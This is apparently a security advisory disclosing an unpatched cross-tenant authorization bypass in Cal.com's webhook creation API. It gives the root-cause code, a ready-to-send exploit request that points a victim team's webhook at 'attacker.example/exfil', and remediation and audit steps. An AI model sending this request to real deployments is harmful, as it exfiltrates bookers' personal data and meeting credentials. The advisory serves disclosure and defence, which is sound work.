Voke Cyber Security Advisory

Cross-Tenant Webhook Plant in Cal.com — Authorization Bypass via Unvalidated teamId

Louis Sanchez Published July 22, 2026 9 min read
AdvisoryGHSA-4fwh-xxpv-xfm6
CVEPending (CERT/CC coordination, VRF#26-06-RPFHL)
SeverityCritical  CVSS v3.1 base score 9.6
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
WeaknessesCWE-639 — Authorization Bypass Through User-Controlled Key (IDOR) • CWE-862 — Missing Authorization
ProductCal.com (open-source scheduling platform)
AffectedCal.com self-hosted (Community Edition) and Cal.diy SaaS; master @ commit a4a01a0 and prior releases
Fixed inNo fix available  Unpatched at time of publication
Reported byLouis Sanchez — Voke Cyber
CoordinationCERT/CC coordinated. Vendor unresponsive during coordination.

No patch available

At the time of publication there is no fixed release and the vendor has not responded during coordination. Operators running self-hosted Cal.com should apply the interim detection below and audit their webhook table now. Any team's bookings may already be forwarded to a third party without any visible sign in the team's own view.

Summary

Cal.com lets a booking's data be pushed to an external system in real time through webhooks. The API that creates a webhook (viewer.webhook.create) accepts a teamId field and never checks that the caller is a member of that team. Any authenticated user — including a free account with no relationship to the target — can supply another team's numeric id and attach a webhook to it. From that moment every booking made against the victim team is copied in full to a URL the attacker controls, signed with a secret the attacker chose. The leaked payload includes the booker's name, email, and phone number, their intake answers, the organizer's email, and the video-call URL and its password. The victim sees a normal booking; nothing in their view reveals a copy is leaving.

Background: what a Cal.com webhook carries

Cal.com is a widely used open-source scheduling platform. Teams use it to let clients book time, and every booking carries real personal data. Cal.com can push that data to an external system in real time through webhooks, so an organizer can wire bookings into a CRM, a chat tool, or their own automation.

A webhook subscribes to booking events for a team. When one fires, Cal.com delivers the full event payload to the subscriber URL. For each meeting booked against the team, that payload contains:

A webhook attached to a team is, in effect, a real-time feed of that team's bookings. The security of that feed depends entirely on only the team's own admins being able to create one. That is the assumption this vulnerability breaks.

Root cause: the teamId is never validated

Creating a webhook goes through a piece of middleware that is supposed to confirm the caller is allowed to own the webhook they are creating. It checks ownership along two paths, both correctly: when the request references an existing webhook by id, and when it ties the webhook to one of the caller's own event types.

The gap is the third path. The create request also accepts a teamId field, and nothing ever checks that field against the caller's team memberships. The handler pins the webhook's owning user to the caller — but it never clears or validates the attacker-supplied teamId, so the row is persisted as belonging to the victim team.

// webhook create — ownership is checked for id and eventTypeId paths,
// but the teamId from the request is written straight through.
const data = {
  ...input,
  userId: ctx.user.id,        // correctly pinned to the caller
  teamId: input.teamId,       // attacker-controlled, never checked
};
await prisma.webhook.create({ data });

Once the row exists, Cal.com's normal delivery logic does the rest. Every time a booking event fires for a team, the platform looks up all active webhooks attached to that team and delivers the event to each subscriber URL. The planted webhook matches that lookup exactly like a legitimate one, so it receives every booking for the victim team from then on.

The broader weakness underneath it

The open-source build of Cal.com ships stub versions of its permission-check service that simply return "allowed" for everything, because the real permission engine is closed-source and not included. That stub pattern appears in several places and quietly disables role-based checks that the code appears to perform. The webhook teamId bug is the most damaging instance, but the same underlying gap produces a set of related, lower-severity issues that share the same root cause and fix direction:

Exploitation

Prerequisite: any authenticated Cal.com account. A free account with no relationship to the victim is enough.

The victim team is identified by a small incrementing number, which an attacker can guess directly or resolve from the team's public booking pages. With that number in hand, the attack is a single API call:

POST /api/trpc/webhook/create
Cookie: <attacker session>
Content-Type: application/json

{"json":{
  "subscriberUrl":"https://attacker.example/exfil",
  "eventTriggers":["BOOKING_CREATED","BOOKING_RESCHEDULED","BOOKING_CANCELLED",
                   "MEETING_STARTED","MEETING_ENDED"],
  "active":true,
  "secret":"attacker-chosen-secret",
  "teamId": <victim team id>
}}

The server responds 200 OK and stores a webhook owned by the victim team but pointing at the attacker's URL. No further action is needed. Every subsequent booking on any of that team's event types delivers the complete booking payload to the attacker, signed with the attacker's own secret. The victim sees a normal booking; nothing in their own view reveals that a copy is leaving the building.

Impact

CVSS vector rationale

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

Remediation and interim measures

There is no vendor fix available at the time of publication. The correct code-level fix is to validate the teamId on webhook creation: when a caller supplies a teamId, confirm they are an admin or owner of that team before persisting the webhook, and reject the request otherwise. The same team-ownership check should be applied to the read, edit, and delete paths for team webhooks. More broadly, the open-source build should ship a real permission-check implementation that genuinely enforces role membership, so the role-based checks the code appears to make are not silently turned into no-ops.

Operators running self-hosted Cal.com who need an interim measure should:

  1. Audit the webhook table now. Flag any webhook row whose owning user is not a member of the team the webhook is attached to — that mismatch is the signature of the attack.
  2. Review subscriber URLs. Check every active webhook's subscriberUrl against your expected integrations, and remove any pointing at an unfamiliar destination.
  3. Rotate exposed data. Where a planted webhook is found, treat the affected bookings' attendee data and video-call credentials as compromised.

Disclosure timeline

References

Found and reported by Louis Sanchez, Founder & Principal Security Consultant at Voke Cyber (OSCP, OSWA, CISSP, CCSK). Prior advisories: CVE-2026-15630 (Casdoor), CVE-2026-39878 (Chamilo LMS), CVE-2026-48742 (Coolify), CVE-2026-35198 (HeyForm), and CVE-2026-48507 (Snipe-IT).

We find the bugs tools miss

A missing ownership check on one field, hidden behind middleware that looks like it validates everything, is exactly the kind of flaw automated scans do not catch. It surfaces when someone reads the create path and asks whether every user-supplied identifier is checked against the caller. That is how we approach web application and API testing for clients across the Charlotte, NC area and nationwide.

Get a Quote